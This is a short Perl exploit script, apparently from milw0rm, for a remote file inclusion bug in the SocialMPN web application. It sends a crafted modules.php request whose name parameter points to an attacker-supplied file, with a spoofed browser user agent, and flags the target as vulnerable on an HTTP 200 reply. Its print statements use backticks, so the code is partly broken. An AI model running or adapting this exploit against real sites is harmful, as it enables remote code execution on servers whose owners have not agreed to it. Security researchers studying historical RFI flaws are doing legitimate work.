SocialMPN Arbitrary File Injection Exploit#!/usr/bin/perl -w
 
# Remote Testing SocialMPN Remote File Inclusion by y3dips [for testing only]
# Bug find by zer0-c00l ,
# Bug published at http://waraxe.us/ftopic-542-0-days0-orderasc-.html

print ` * Remote Testing File Inclusion for SocialMPN by y3dips *\n`;

require LWP::UserAgent;

if(@ARGV == 2)
        {
      
$target= $ARGV[0];
$xploit= $ARGV[1];


my $ua = LWP::UserAgent->new;
$ua->agent(`MSIE/6.0 Windows`);
$ua->timeout(10);
$ua->env_proxy;

$url = `http://$target/modules.php?name=$xploit&file=article&sid=2`;
# just for trick , use `?` in the last char of your file inclusion path

my $injek = $ua->get($url);

            print ` -------------------------------\n`;
   if ($injek->is_success)
   {
      $injekcek = $injek->as_string;
        if ($injekcek =~ /(HTTP\/1\.0 200 OK)/)
        { print(`\n This Site Maybe Vulnerable \n`); }
      else
        {die $injek->status_line;}
            print ` -------------------------------\n`;
        }
   }

else{
print `Use: perl $0 [target] [xplo.txt] \n`;
}

# milw0rm.com [2005-03-11]